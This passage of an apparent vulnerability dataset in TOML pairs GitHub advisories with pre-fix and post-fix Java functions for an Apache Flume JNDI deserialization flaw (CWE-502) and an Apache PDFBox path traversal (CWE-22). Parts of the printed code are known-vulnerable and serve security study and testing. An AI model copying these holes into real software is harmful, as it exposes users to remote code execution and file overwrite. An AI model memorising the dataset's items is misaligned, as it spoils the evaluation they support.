(throwable instanceof Error) {\n throw (Error) throwable;\n }\n } finally {\n if (error) {\n if (consumer != null) {\n consumer.rollback();\n }\n } else {\n if (consumer != null) {\n consumer.commit();\n jmsExceptionCounter = 0;\n }\n }\n }\n return Status.BACKOFF;\n }\n\n @Override" +repo = "apache/logging-flume" +url = "https://github.com/apache/logging-flume.git" + +[[case]] +advisory = "GHSA-9w4g-fp9h-3q2v" +advisory_text = "Apache Flume vulnerable to remote code execution via deserialization of unsafe providerURL\n\nFlume’s JMSSource class can be configured with a providerUrl parameter. A JNDI lookup is performed on this name without performing validation. This could result in untrusted data being deserialized, leading to remote code execution (RCE) attack when a configuration uses a JMS Source with an unsafe providerURL. This issue is fixed in version 1.11.0." +commit = "eee179a09df405c1ab55ae25a53b76ca1050bb97" +cwe = "CWE-502" +family = "deserialization" +function = "doConfigure" +function_lines = [[96, 289]] +id = "apache-logging-flume-3a9f6e6ef1ab1349" +language = "java" +method = "fix_site" +parent = "34f372222248e2a1014c502b888e37f4c3d0f356" +path = "flume-ng-sources/flume-jms-source/src/main/java/org/apache/flume/source/jms/JMSSource.java" +post_fix = " protected void doConfigure(Context context) throws FlumeException {\n sourceCounter = new SourceCounter(getName());\n\n initialContextFactoryName = context.getString(\n JMSSourceConfiguration.INITIAL_CONTEXT_FACTORY, \"\").trim();\n\n providerUrl = context.getString(JMSSourceConfiguration.PROVIDER_URL, \"\").trim();\n verifyContext(providerUrl);\n\n destinationName = context.getString(JMSSourceConfiguration.DESTINATION_NAME, \"\").trim();\n\n String destinationTypeName = context.getString(\n JMSSourceConfiguration.DESTINATION_TYPE, \"\").trim().toUpperCase(Locale.ENGLISH);\n\n String destinationLocatorName = context.getString(\n JMSSourceConfiguration.DESTINATION_LOCATOR,\n JMSSourceConfiguration.DESTINATION_LOCATOR_DEFAULT)\n .trim().toUpperCase(Locale.ENGLISH);\n\n messageSelector = context.getString(\n JMSSourceConfiguration.MESSAGE_SELECTOR, \"\").trim();\n\n batchSize = context.getInteger(JMSSourceConfiguration.BATCH_SIZE,\n JMSSourceConfiguration.BATCH_SIZE_DEFAULT);\n\n errorThreshold = context.getInteger(JMSSourceConfiguration.ERROR_THRESHOLD,\n JMSSourceConfiguration.ERROR_THRESHOLD_DEFAULT);\n\n userName = Optional.fromNullable(context.getString(JMSSourceConfiguration.USERNAME));\n\n pollTimeout = context.getLong(JMSSourceConfiguration.POLL_TIMEOUT,\n JMSSourceConfiguration.POLL_TIMEOUT_DEFAULT);\n\n clientId = Optional.fromNullable(context.getString(JMSSourceConfiguration.CLIENT_ID));\n\n createDurableSubscription = context.getBoolean(\n JMSSourceConfiguration.CREATE_DURABLE_SUBSCRIPTION, \n JMSSourceConfiguration.DEFAULT_CREATE_DURABLE_SUBSCRIPTION);\n durableSubscriptionName = context.getString(\n JMSSourceConfiguration.DURABLE_SUBSCRIPTION_NAME, \n JMSSourceConfiguration.DEFAULT_DURABLE_SUBSCRIPTION_NAME);\n\n String passwordFile = context.getString(JMSSourceConfiguration.PASSWORD_FILE, \"\").trim();\n\n if (passwordFile.isEmpty()) {\n password = Optional.absent();\n } else {\n try {\n password = Optional.of(Files.toString(new File(passwordFile),\n Charsets.UTF_8).trim());\n } catch (IOException e) {\n throw new FlumeException(String.format(\n \"Could not read password file %s\", passwordFile), e);\n }\n }\n\n String converterClassName = context.getString(\n JMSSourceConfiguration.CONVERTER_TYPE,\n JMSSourceConfiguration.CONVERTER_TYPE_DEFAULT).trim();\n if (JMSSourceConfiguration.CONVERTER_TYPE_DEFAULT.equalsIgnoreCase(converterClassName)) {\n converterClassName = DefaultJMSMessageConverter.Builder.class.getName();\n }\n Context converterContext = new Context(context.getSubProperties(\n JMSSourceConfiguration.CONVERTER + \".\"));\n try {\n @SuppressWarnings(\"rawtypes\")\n Class clazz = Class.forName(converterClassName);\n boolean isBuilder = JMSMessageConverter.Builder.class\n .isAssignableFrom(clazz);\n if (isBuilder) {\n JMSMessageConverter.Builder builder = (JMSMessageConverter.Builder)clazz.newInstance();\n converter = builder.build(converterContext);\n } else {\n Preconditions.checkState(JMSMessageConverter.class.isAssignableFrom(clazz),\n String.format(\"Class %s is not a subclass of JMSMessageConverter\", clazz.getName()));\n converter = (JMSMessageConverter)clazz.newInstance();\n boolean configured = Configurables.configure(converter, converterContext);\n if (logger.isDebugEnabled()) {\n logger.debug(String.format(\"Attempted configuration of %s, result = %s\",\n converterClassName, String.valueOf(configured)));\n }\n }\n } catch (Exception e) {\n throw new FlumeException(String.format(\n \"Unable to create instance of converter %s\", converterClassName), e);\n }\n\n String connectionFactoryName = context.getString(\n JMSSourceConfiguration.CONNECTION_FACTORY,\n JMSSourceConfiguration.CONNECTION_FACTORY_DEFAULT).trim();\n verifyContext(connectionFactoryName);\n\n assertNotEmpty(initialContextFactoryName, String.format(\n \"Initial Context Factory is empty. This is specified by %s\",\n JMSSourceConfiguration.INITIAL_CONTEXT_FACTORY));\n\n assertNotEmpty(providerUrl, String.format(\n \"Provider URL is empty. This is specified by %s\",\n JMSSourceConfiguration.PROVIDER_URL));\n\n assertNotEmpty(destinationName, String.format(\n \"Destination Name is empty. This is specified by %s\",\n JMSSourceConfiguration.DESTINATION_NAME));\n\n assertNotEmpty(destinationTypeName, String.format(\n \"Destination Type is empty. This is specified by %s\",\n JMSSourceConfiguration.DESTINATION_TYPE));\n\n try {\n destinationType = JMSDestinationType.valueOf(destinationTypeName);\n } catch (IllegalArgumentException e) {\n throw new FlumeException(String.format(\"Destination type '%s' is \" +\n \"invalid.\", destinationTypeName), e);\n }\n\n if (createDurableSubscription) {\n if (JMSDestinationType.TOPIC != destinationType) {\n throw new FlumeException(String.format(\n \"Only Destination type '%s' supports durable subscriptions.\",\n JMSDestinationType.TOPIC.toString()));\n }\n if (!clientId.isPresent()) {\n throw new FlumeException(String.format(\n \"You have to specify '%s' when using durable subscriptions.\",\n JMSSourceConfiguration.CLIENT_ID));\n }\n if (StringUtils.isEmpty(durableSubscriptionName)) {\n throw new FlumeException(String.format(\"If '%s' is set to true, '%s' has to be specified.\",\n JMSSourceConfiguration.CREATE_DURABLE_SUBSCRIPTION,\n JMSSourceConfiguration.DURABLE_SUBSCRIPTION_NAME));\n }\n } else if (!StringUtils.isEmpty(durableSubscriptionName)) {\n logger.warn(String.format(\"'%s' is set, but '%s' is false.\"\n + \"If you want to create a durable subscription, set %s to true.\",\n JMSSourceConfiguration.DURABLE_SUBSCRIPTION_NAME,\n JMSSourceConfiguration.CREATE_DURABLE_SUBSCRIPTION,\n JMSSourceConfiguration.CREATE_DURABLE_SUBSCRIPTION));\n }\n\n try {\n destinationLocator = JMSDestinationLocator.valueOf(destinationLocatorName);\n } catch (IllegalArgumentException e) {\n throw new FlumeException(String.format(\"Destination locator '%s' is \" +\n \"invalid.\", destinationLocatorName), e);\n }\n\n Preconditions.checkArgument(batchSize > 0, \"Batch size must be greater than 0\");\n\n try {\n Properties contextProperties = new Properties();\n contextProperties.setProperty(\n javax.naming.Context.INITIAL_CONTEXT_FACTORY,\n initialContextFactoryName);\n contextProperties.setProperty(\n javax.naming.Context.PROVIDER_URL, providerUrl);\n\n // Provide properties for connecting via JNDI\n if (this.userName.isPresent()) {\n contextProperties.setProperty(javax.naming.Context.SECURITY_PRINCIPAL,\n this.userName.get());\n }\n if (this.password.isPresent()) {\n contextProperties.setProperty(javax.naming.Context.SECURITY_CREDENTIALS,\n this.password.get());\n }\n\n initialContext = initialContextFactory.create(contextProperties);\n } catch (NamingException e) {\n throw new FlumeException(String.format(\n \"Could not create initial context %s provider %s\",\n initialContextFactoryName, providerUrl), e);\n }\n\n try {\n connectionFactory = (ConnectionFactory) initialContext.lookup(connectionFactoryName);\n } catch (NamingException e) {\n throw new FlumeException(\"Could not lookup ConnectionFactory\", e);\n }\n }\n" +pre_fix = " protected void doConfigure(Context context) throws FlumeException {\n sourceCounter = new SourceCounter(getName());\n\n initialContextFactoryName = context.getString(\n JMSSourceConfiguration.INITIAL_CONTEXT_FACTORY, \"\").trim();\n\n providerUrl = context.getString(JMSSourceConfiguration.PROVIDER_URL, \"\").trim();\n try {\n URI uri = new URI(providerUrl);\n String scheme = uri.getScheme();\n assertTrue(scheme == null || scheme.equals(JAVA_SCHEME),\n \"Unsupported JNDI URI: \" + providerUrl);\n } catch (URISyntaxException ex) {\n logger.warn(\"Invalid JNDI URI - {}\", providerUrl);\n }\n\n destinationName = context.getString(JMSSourceConfiguration.DESTINATION_NAME, \"\").trim();\n\n String destinationTypeName = context.getString(\n JMSSourceConfiguration.DESTINATION_TYPE, \"\").trim().toUpperCase(Locale.ENGLISH);\n\n String destinationLocatorName = context.getString(\n JMSSourceConfiguration.DESTINATION_LOCATOR,\n JMSSourceConfiguration.DESTINATION_LOCATOR_DEFAULT)\n .trim().toUpperCase(Locale.ENGLISH);\n\n messageSelector = context.getString(\n JMSSourceConfiguration.MESSAGE_SELECTOR, \"\").trim();\n\n batchSize = context.getInteger(JMSSourceConfiguration.BATCH_SIZE,\n JMSSourceConfiguration.BATCH_SIZE_DEFAULT);\n\n errorThreshold = context.getInteger(JMSSourceConfiguration.ERROR_THRESHOLD,\n JMSSourceConfiguration.ERROR_THRESHOLD_DEFAULT);\n\n userName = Optional.fromNullable(context.getString(JMSSourceConfiguration.USERNAME));\n\n pollTimeout = context.getLong(JMSSourceConfiguration.POLL_TIMEOUT,\n JMSSourceConfiguration.POLL_TIMEOUT_DEFAULT);\n\n clientId = Optional.fromNullable(context.getString(JMSSourceConfiguration.CLIENT_ID));\n\n createDurableSubscription = context.getBoolean(\n JMSSourceConfiguration.CREATE_DURABLE_SUBSCRIPTION, \n JMSSourceConfiguration.DEFAULT_CREATE_DURABLE_SUBSCRIPTION);\n durableSubscriptionName = context.getString(\n JMSSourceConfiguration.DURABLE_SUBSCRIPTION_NAME, \n JMSSourceConfiguration.DEFAULT_DURABLE_SUBSCRIPTION_NAME);\n\n String passwordFile = context.getString(JMSSourceConfiguration.PASSWORD_FILE, \"\").trim();\n\n if (passwordFile.isEmpty()) {\n password = Optional.absent();\n } else {\n try {\n password = Optional.of(Files.toString(new File(passwordFile),\n Charsets.UTF_8).trim());\n } catch (IOException e) {\n throw new FlumeException(String.format(\n \"Could not read password file %s\", passwordFile), e);\n }\n }\n\n String converterClassName = context.getString(\n JMSSourceConfiguration.CONVERTER_TYPE,\n JMSSourceConfiguration.CONVERTER_TYPE_DEFAULT).trim();\n if (JMSSourceConfiguration.CONVERTER_TYPE_DEFAULT.equalsIgnoreCase(converterClassName)) {\n converterClassName = DefaultJMSMessageConverter.Builder.class.getName();\n }\n Context converterContext = new Context(context.getSubProperties(\n JMSSourceConfiguration.CONVERTER + \".\"));\n try {\n @SuppressWarnings(\"rawtypes\")\n Class clazz = Class.forName(converterClassName);\n boolean isBuilder = JMSMessageConverter.Builder.class\n .isAssignableFrom(clazz);\n if (isBuilder) {\n JMSMessageConverter.Builder builder = (JMSMessageConverter.Builder)clazz.newInstance();\n converter = builder.build(converterContext);\n } else {\n Preconditions.checkState(JMSMessageConverter.class.isAssignableFrom(clazz),\n String.format(\"Class %s is not a subclass of JMSMessageConverter\", clazz.getName()));\n converter = (JMSMessageConverter)clazz.newInstance();\n boolean configured = Configurables.configure(converter, converterContext);\n if (logger.isDebugEnabled()) {\n logger.debug(String.format(\"Attempted configuration of %s, result = %s\",\n converterClassName, String.valueOf(configured)));\n }\n }\n } catch (Exception e) {\n throw new FlumeException(String.format(\n \"Unable to create instance of converter %s\", converterClassName), e);\n }\n\n String connectionFactoryName = context.getString(\n JMSSourceConfiguration.CONNECTION_FACTORY,\n JMSSourceConfiguration.CONNECTION_FACTORY_DEFAULT).trim();\n try {\n URI uri = new URI(connectionFactoryName);\n String scheme = uri.getScheme();\n assertTrue(scheme == null || scheme.equals(JAVA_SCHEME),\n \"Unsupported JNDI URI: \" + connectionFactoryName);\n } catch (URISyntaxException ex) {\n logger.warn(\"Invalid JNDI URI - {}\", connectionFactoryName);\n }\n\n assertNotEmpty(initialContextFactoryName, String.format(\n \"Initial Context Factory is empty. This is specified by %s\",\n JMSSourceConfiguration.INITIAL_CONTEXT_FACTORY));\n\n assertNotEmpty(providerUrl, String.format(\n \"Provider URL is empty. This is specified by %s\",\n JMSSourceConfiguration.PROVIDER_URL));\n\n assertNotEmpty(destinationName, String.format(\n \"Destination Name is empty. This is specified by %s\",\n JMSSourceConfiguration.DESTINATION_NAME));\n\n assertNotEmpty(destinationTypeName, String.format(\n \"Destination Type is empty. This is specified by %s\",\n JMSSourceConfiguration.DESTINATION_TYPE));\n\n try {\n destinationType = JMSDestinationType.valueOf(destinationTypeName);\n } catch (IllegalArgumentException e) {\n throw new FlumeException(String.format(\"Destination type '%s' is \" +\n \"invalid.\", destinationTypeName), e);\n }\n\n if (createDurableSubscription) {\n if (JMSDestinationType.TOPIC != destinationType) {\n throw new FlumeException(String.format(\n \"Only Destination type '%s' supports durable subscriptions.\",\n JMSDestinationType.TOPIC.toString()));\n }\n if (!clientId.isPresent()) {\n throw new FlumeException(String.format(\n \"You have to specify '%s' when using durable subscriptions.\",\n JMSSourceConfiguration.CLIENT_ID));\n }\n if (StringUtils.isEmpty(durableSubscriptionName)) {\n throw new FlumeException(String.format(\"If '%s' is set to true, '%s' has to be specified.\",\n JMSSourceConfiguration.CREATE_DURABLE_SUBSCRIPTION,\n JMSSourceConfiguration.DURABLE_SUBSCRIPTION_NAME));\n }\n } else if (!StringUtils.isEmpty(durableSubscriptionName)) {\n logger.warn(String.format(\"'%s' is set, but '%s' is false.\"\n + \"If you want to create a durable subscription, set %s to true.\",\n JMSSourceConfiguration.DURABLE_SUBSCRIPTION_NAME,\n JMSSourceConfiguration.CREATE_DURABLE_SUBSCRIPTION,\n JMSSourceConfiguration.CREATE_DURABLE_SUBSCRIPTION));\n }\n\n try {\n destinationLocator = JMSDestinationLocator.valueOf(destinationLocatorName);\n } catch (IllegalArgumentException e) {\n throw new FlumeException(String.format(\"Destination locator '%s' is \" +\n \"invalid.\", destinationLocatorName), e);\n }\n\n Preconditions.checkArgument(batchSize > 0, \"Batch size must be greater than 0\");\n\n try {\n Properties contextProperties = new Properties();\n contextProperties.setProperty(\n javax.naming.Context.INITIAL_CONTEXT_FACTORY,\n initialContextFactoryName);\n contextProperties.setProperty(\n javax.naming.Context.PROVIDER_URL, providerUrl);\n\n // Provide properties for connecting via JNDI\n if (this.userName.isPresent()) {\n contextProperties.setProperty(javax.naming.Context.SECURITY_PRINCIPAL,\n this.userName.get());\n }\n if (this.password.isPresent()) {\n contextProperties.setProperty(javax.naming.Context.SECURITY_CREDENTIALS,\n this.password.get());\n }\n\n initialContext = initialContextFactory.create(contextProperties);\n } catch (NamingException e) {\n throw new FlumeException(String.format(\n \"Could not create initial context %s provider %s\",\n initialContextFactoryName, providerUrl), e);\n }\n\n try {\n connectionFactory = (ConnectionFactory) initialContext.lookup(connectionFactoryName);\n } catch (NamingException e) {\n throw new FlumeException(\"Could not lookup ConnectionFactory\", e);\n }\n }\n" +repo = "apache/logging-flume" +url = "https://github.com/apache/logging-flume.git" + +[[case]] +advisory = "GHSA-9w4g-fp9h-3q2v" +advisory_text = "Apache Flume vulnerable to remote code execution via deserialization of unsafe providerURL\n\nFlume’s JMSSource class can be configured with a providerUrl parameter. A JNDI lookup is performed on this name without performing validation. This could result in untrusted data being deserialized, leading to remote code execution (RCE) attack when a configuration uses a JMS Source with an unsafe providerURL. This issue is fixed in version 1.11.0." +commit = "eee179a09df405c1ab55ae25a53b76ca1050bb97" +cwe = "CWE-502" +family = "deserialization" +function = "JMSMessageConsumer" +function_lines = [[56, 142]] +id = "apache-logging-flume-9dd9e4ee8d0de85f" +language = "java" +method = "fix_site" +parent = "34f372222248e2a1014c502b888e37f4c3d0f356" +path = "flume-ng-sources/flume-jms-source/src/main/java/org/apache/flume/source/jms/JMSMessageConsumer.java" +post_fix = " JMSMessageConsumer(InitialContext initialContext, ConnectionFactory connectionFactory,\n String destinationName, JMSDestinationLocator destinationLocator,\n JMSDestinationType destinationType, String messageSelector, int batchSize,\n long pollTimeout, JMSMessageConverter messageConverter,\n Optional userName, Optional password,\n Optional clientId, boolean createDurableSubscription,\n String durableSubscriptionName) {\n this.batchSize = batchSize;\n this.pollTimeout = pollTimeout;\n this.messageConverter = messageConverter;\n Preconditions.checkArgument(batchSize > 0, \"Batch size must be greater \"\n + \"than zero\");\n Preconditions.checkArgument(pollTimeout >= 0, \"Poll timeout cannot be \" +\n \"negative\");\n\n try {\n try {\n if (userName.isPresent()) {\n connection = connectionFactory.createConnection(userName.get(), password.get());\n } else {\n connection = connectionFactory.createConnection();\n }\n if (clientId.isPresent()) {\n connection.setClientID(clientId.get());\n }\n connection.start();\n } catch (JMSException e) {\n throw new FlumeException(\"Could not create connection to broker\", e);\n }\n\n try {\n session = connection.createSession(true, Session.SESSION_TRANSACTED);\n } catch (JMSException e) {\n throw new FlumeException(\"Could not create session\", e);\n }\n\n try {\n if (destinationLocator.equals(JMSDestinationLocator.CDI)) {\n switch (destinationType) {\n case QUEUE:\n destination = session.createQueue(destinationName);\n break;\n case TOPIC:\n destination = session.createTopic(destinationName);\n break;\n default:\n throw new IllegalStateException(String.valueOf(destinationType));\n }\n } else {\n JMSSource.verifyContext(destinationName);\n destination = (Destination) initialContext.lookup(destinationName);\n }\n } catch (JMSException e) {\n throw new FlumeException(\"Could not create destination \" + destinationName, e);\n } catch (NamingException e) {\n throw new FlumeException(\"Could not find destination \" + destinationName, e);\n }\n\n try {\n if (createDurableSubscription) {\n messageConsumer = session.createDurableSubscriber(\n (Topic) destination, durableSubscriptionName,\n messageSelector.isEmpty() ? null : messageSelector, true);\n } else {\n messageConsumer = session.createConsumer(destination,\n messageSelector.isEmpty() ? null : messageSelector);\n }\n } catch (JMSException e) {\n throw new FlumeException(\"Could not create consumer\", e);\n }\n String startupMsg = String.format(\"Connected to '%s' of type '%s' with \" +\n \"user '%s', batch size '%d', selector '%s' \", destinationName,\n destinationType, userName.isPresent() ? userName.get() : \"null\",\n batchSize, messageSelector.isEmpty() ? null : messageSelector);\n logger.info(startupMsg);\n } catch (Exception e) {\n close();\n throw e;\n }\n }" +pre_fix = " JMSMessageConsumer(InitialContext initialContext, ConnectionFactory connectionFactory,\n String destinationName, JMSDestinationLocator destinationLocator,\n JMSDestinationType destinationType, String messageSelector, int batchSize,\n long pollTimeout, JMSMessageConverter messageConverter,\n Optional userName, Optional password,\n Optional clientId, boolean createDurableSubscription,\n String durableSubscriptionName) {\n this.batchSize = batchSize;\n this.pollTimeout = pollTimeout;\n this.messageConverter = messageConverter;\n Preconditions.checkArgument(batchSize > 0, \"Batch size must be greater \"\n + \"than zero\");\n Preconditions.checkArgument(pollTimeout >= 0, \"Poll timeout cannot be \" +\n \"negative\");\n\n try {\n try {\n if (userName.isPresent()) {\n connection = connectionFactory.createConnection(userName.get(), password.get());\n } else {\n connection = connectionFactory.createConnection();\n }\n if (clientId.isPresent()) {\n connection.setClientID(clientId.get());\n }\n connection.start();\n } catch (JMSException e) {\n throw new FlumeException(\"Could not create connection to broker\", e);\n }\n\n try {\n session = connection.createSession(true, Session.SESSION_TRANSACTED);\n } catch (JMSException e) {\n throw new FlumeException(\"Could not create session\", e);\n }\n\n try {\n if (destinationLocator.equals(JMSDestinationLocator.CDI)) {\n switch (destinationType) {\n case QUEUE:\n destination = session.createQueue(destinationName);\n break;\n case TOPIC:\n destination = session.createTopic(destinationName);\n break;\n default:\n throw new IllegalStateException(String.valueOf(destinationType));\n }\n } else {\n try {\n URI uri = new URI(destinationName);\n String scheme = uri.getScheme();\n assertTrue(scheme == null || scheme.equals(JAVA_SCHEME),\n \"Unsupported JNDI URI: \" + destinationName);\n } catch (URISyntaxException ex) {\n logger.warn(\"Invalid JNDI URI - {}\", destinationName);\n }\n destination = (Destination) initialContext.lookup(destinationName);\n }\n } catch (JMSException e) {\n throw new FlumeException(\"Could not create destination \" + destinationName, e);\n } catch (NamingException e) {\n throw new FlumeException(\"Could not find destination \" + destinationName, e);\n }\n\n try {\n if (createDurableSubscription) {\n messageConsumer = session.createDurableSubscriber(\n (Topic) destination, durableSubscriptionName,\n messageSelector.isEmpty() ? null : messageSelector, true);\n } else {\n messageConsumer = session.createConsumer(destination,\n messageSelector.isEmpty() ? null : messageSelector);\n }\n } catch (JMSException e) {\n throw new FlumeException(\"Could not create consumer\", e);\n }\n String startupMsg = String.format(\"Connected to '%s' of type '%s' with \" +\n \"user '%s', batch size '%d', selector '%s' \", destinationName,\n destinationType, userName.isPresent() ? userName.get() : \"null\",\n batchSize, messageSelector.isEmpty() ? null : messageSelector);\n logger.info(startupMsg);\n } catch (Exception e) {\n close();\n throw e;\n }\n }" +repo = "apache/logging-flume" +url = "https://github.com/apache/logging-flume.git" + +[[case]] +advisory = "GHSA-jjwr-xmw6-gf78" +advisory_text = "Apache PDFBox has Path Traversal through PDComplexFileSpecification.getFilename() function\n\nThis issue affects the ExtractEmbeddedFiles example in Apache PDFBox: from 2.0.24 through 2.0.35, from 3.0.0 through 3.0.6.\n\nThe ExtractEmbeddedFiles example contains a path traversal vulnerability (CWE-22) because the filename that is obtained from PDComplexFileSpecification.getFilename() is appended to the extraction path.\n\nUsers who have copied this example into their production code should review it to ensure that the extraction path is acceptable. The example has been changed accordingly, now the initial path and the extraction paths are converted into canonical paths and it is verified that extraction path contains the initial path. The documentation has also been adjusted." +commit = "b028eafdf101b58e4ee95430c3be25e3e3aa29d7" +cwe = "CWE-22" +family = "path" +function = "extractFiles" +function_lines = [[126, 139]] +id = "apache-pdfbox-11311474dc9fddbd" +language = "java" +method = "fix_site" +parent = "daaead9069d562e166918d461191c89773e51f90" +path = "examples/src/main/java/org/apache/pdfbox/examples/pdmodel/ExtractEmbeddedFiles.java" +post_fix = " private static void extractFiles(Map names, String directoryPath) \n throws IOException\n {\n for (Entry entry : names.entrySet())\n {\n PDComplexFileSpecification complexFileSpec = entry.getValue();\n PDEmbeddedFile embeddedFile = getEmbeddedFile(complexFileSpec);\n if (embeddedFile != null)\n {\n extractFile(complexFileSpec.getFilename(), embeddedFile, directoryPath);\n }\n }\n }\n" +pre_fix = " private static void extractFiles(Map names, String filePath) \n throws IOException\n {\n for (Entry entry : names.entrySet())\n {\n PDComplexFileSpecification fileSpec = entry.getValue();\n PDEmbeddedFile embeddedFile = getEmbeddedFile(fileSpec);\n if (embeddedFile != null)\n {\n extractFile(filePath, fileSpec.getFilename(), embeddedFile);\n }\n }\n }\n" +repo = "apache/pdfbox" +url = "https://github.com/apache/pdfbox.git" + +[[case]] +advisory = "GHSA-jjwr-xmw6-gf78" +advisory_text = "Apache PDFBox has Path Traversal through PDComplexFileSpecification.getFilename() function\n\nThis issue affects the ExtractEmbeddedFiles example in Apache PDFBox: from 2.0.24 through 2.0.35, from 3.0.0 through 3.0.6.\n\nThe ExtractEmbeddedFiles example contains a path traversal vulnerability (CWE-22) because the filename that is obtained from PDComplexFileSpecification.getFilename() is appended to the extraction path.\n\nUsers who have copied this example into their production code should review it to ensure that the extraction path is acceptable. The example has been changed accordingly, now the initial path and the extraction paths are converted into canonical paths and it is verified that extraction path contains the initial path. The documentation has also been adjusted." +commit = "b028eafdf101b58e4ee95430c3be25e3e3aa29d7" +cwe = "CWE-22" +family = "path" +function = "try" +function_lines = [[66, 81]] +id = "apache-pdfbox-3dc4e739d0307166" +language = "java" +method = "fix_site" +parent = "daaead9069d562e166918d461191c89773e51f90" +path = "examples/src/main/java/org/apache/pdfbox/examples/pdmodel/ExtractEmbeddedFiles.java" +post_fix = " try (PDDocument document = Loader.loadPDF(pdfFile))\n {\n PDDocumentNameDictionary namesDictionary =\n new PDDocumentNameDictionary(document.getDocumentCatalog());\n PDEmbeddedFilesNameTreeNode efTree = namesDictionary.getEmbeddedFiles();\n if (efTree != null)\n {\n extractFilesFromEFTree(efTree, directoryPath);\n }\n\n // extract files from page annotations\n for (PDPage page : document.getPages())\n {\n extractFilesFromPage(page, directoryPath);\n }\n }" +pre_fix = " try (PDDocument document = Loader.loadPDF(pdfFile))\n {\n PDDocumentNameDictionary namesDictionary =\n new PDDocumentNameDictionary(document.getDocumentCatalog());\n PDEmbeddedFilesNameTreeNode efTree = namesDictionary.getEmbeddedFiles();\n if (efTree != null)\n {\n extractFilesFromEFTree(efTree, filePath);\n }\n\n // extract files from page annotations\n for (PDPage page : document.getPages())\n {\n extractFilesFromPage(page, filePath);\n }\n }" +repo = "apache/pdfbox" +url = "https://github.com/apache/pdfbox.git" + +[[case]] +advisory = "GHSA-jjwr-xmw6-gf78" +advisory_text = "Apache PDFBox has Path Traversal through PDComplexFileSpecification.getFilename() function\n\nThis issue affects the ExtractEmbeddedFiles example in Apache PDFBox: from 2.0.24 through 2.0.35, from 3.0.0 through 3.0.6.\n\nThe ExtractEmbeddedFiles example contains a path traversal vulnerability (CWE-22) because the filename that is obtained from PDComplexFileSpecification.getFilename() is appended to the extraction path.\n\nUsers who have copied this example into their production code should review it to ensure that the extraction path is acceptable. The example has been changed accordingly, now the initial path and the extraction paths are converted into canonical paths and it is verified that extraction path contains the initial path. The documentation has also been adjusted." +commit = "b028eafdf101b58e4ee95430c3be25e3e3aa29d7" +cwe = "CWE-22" +family = "path" +function = "extractFilesFromPage" +function_lines = [[84, 104]] +id = "apache-pdfbox-56ad35de6b5478ab" +language = "java" +method = "fix_site" +parent = "daaead9069d562e166918d461191c89773e51f90" +path = "examples/src/main/java/org/apache/pdfbox/examples/pdmodel/ExtractEmbeddedFiles.java" +post_fix = " private static void extractFilesFromPage(PDPage page, String directoryPath) throws IOException\n {\n for (PDAnnotation annotation : page.getAnnotations())\n {\n if (annotation instanceof PDAnnotationFileAttachment)\n {\n PDAnnotationFileAttachment annotationFileAttachment = (PDAnnotationFileAttachment) annotation;\n PDFileSpecification fileSpec = annotationFileAttachment.getFile();\n if (fileSpec instanceof PDComplexFileSpecification)\n {\n PDComplexFileSpecification complexFileSpec = (PDComplexFileSpecification) fileSpec;\n PDEmbeddedFile embeddedFile = getEmbeddedFile(complexFileSpec);\n if (embeddedFile != null)\n {\n extractFile(complexFileSpec.getFilename(), embeddedFile, directoryPath);\n }\n }\n }\n }\n }\n" +pre_fix = " private static void extractFilesFromPage(PDPage page, String filePath) throws IOException\n {\n for (PDAnnotation annotation : page.getAnnotations())\n {\n if (annotation instanceof PDAnnotationFileAttachment)\n {\n PDAnnotationFileAttachment annotationFileAttachment = (PDAnnotationFileAttachment) annotation;\n PDFileSpecification fileSpec = annotationFileAttachment.getFile();\n if (fileSpec instanceof PDComplexFileSpecification)\n {\n PDComplexFileSpecification complexFileSpec = (PDComplexFileSpecification) fileSpec;\n PDEmbeddedFile embeddedFile = getEmbeddedFile(complexFileSpec);\n if (embeddedFile != null)\n {\n extractFile(filePath, complexFileSpec.getFilename(), embeddedFile);\n }\n }\n }\n }\n }\n" +repo = "apache/pdfbox" +url = "https://github.com/apache/pdfbox.git" + +[[case]] +advisory = "GHSA-jjwr-xmw6-gf78" +advisory_text = "Apache PDFBox has Path Traversal through PDComplexFileSpecification.getFilename() function\n\nThis issue affects the ExtractEmbeddedFiles example in Apache PDFBox: from 2.0.24 through 2.0.35, from 3.0.0 through 3.0.6.\n\nThe ExtractEmbeddedFiles example contains a path traversal vulnerability (CWE-22) because the filename that is obtained from PDComplexFileSpecification.getFilename() is appended to the extraction path.\n\nUsers who have copied this example into their production code should review it to ensure that the extraction path is acceptable. The example has been changed accordingly, now the initial path and the extraction paths are converted into canonical paths and it is verified that extraction path contains the initial path. The documentation has also been adjusted." +commit = "b028eafdf101b58e4ee95430c3be25e3e3aa29d7" +cwe = "CWE-22" +family = "path" +function = "main" +function_lines = [[56, 83]] +id = "apache-pdfbox-7d8d6513c163f5fe" +language = "java" +method = "fix_site" +parent = "daaead9069d562e166918d461191c89773e51f90" +path = "examples/src/main/java/org/apache/pdfbox/examples/pdmodel/ExtractEmbeddedFiles.java" +post_fix = " public static void main( String[] args ) throws IOException\n {\n if( args.length != 1 )\n {\n usage();\n System.exit(1);\n }\n\n File pdfFile = new File(args[0]);\n String directoryPath = pdfFile.getParent() + FileSystems.getDefault().getSeparator();\n try (PDDocument document = Loader.loadPDF(pdfFile))\n {\n PDDocumentNameDictionary namesDictionary =\n new PDDocumentNameDictionary(document.getDocumentCatalog());\n PDEmbeddedFilesNameTreeNode efTree = namesDictionary.getEmbeddedFiles();\n if (efTree != null)\n {\n extractFilesFromEFTree(efTree, directoryPath);\n }\n\n // extract files from page annotations\n for (PDPage page : document.getPages())\n {\n extractFilesFromPage(page, directoryPath);\n }\n }\n }\n" +pre_fix = " public static void main( String[] args ) throws IOException\n {\n if( args.length != 1 )\n {\n usage();\n System.exit(1);\n }\n\n File pdfFile = new File(args[0]);\n String filePath = pdfFile.getParent() + FileSystems.getDefault().getSeparator();\n try (PDDocument document = Loader.loadPDF(pdfFile))\n {\n PDDocumentNameDictionary namesDictionary =\n new PDDocumentNameDictionary(document.getDocumentCatalog());\n PDEmbeddedFilesNameTreeNode efTree = namesDictionary.getEmbeddedFiles();\n if (efTree != null)\n {\n extractFilesFromEFTree(efTree, filePath);\n }\n\n // extract files from page annotations\n for (PDPage page : document.getPages())\n {\n extractFilesFromPage(page, filePath);\n }\n }\n }\n" +repo = "apache/pdfbox" +url = "https://github.com/apache/pdfbox.git" + +[[case]] +advisory = "GHSA-jjwr-xmw6-gf78" +advisory_text = "Apache PDFBox has Path Traversal through PDComplexFileSpecification.getFilename() function\n\nThis issue affects the ExtractEmbeddedFiles example in Apache PDFBox: from 2.0.24 through 2.0.35, from 3.0.0 through 3.0.6.\n\nThe ExtractEmbeddedFiles example contains a path traversal vulnerability (CWE-22) because the filename that is obtained from 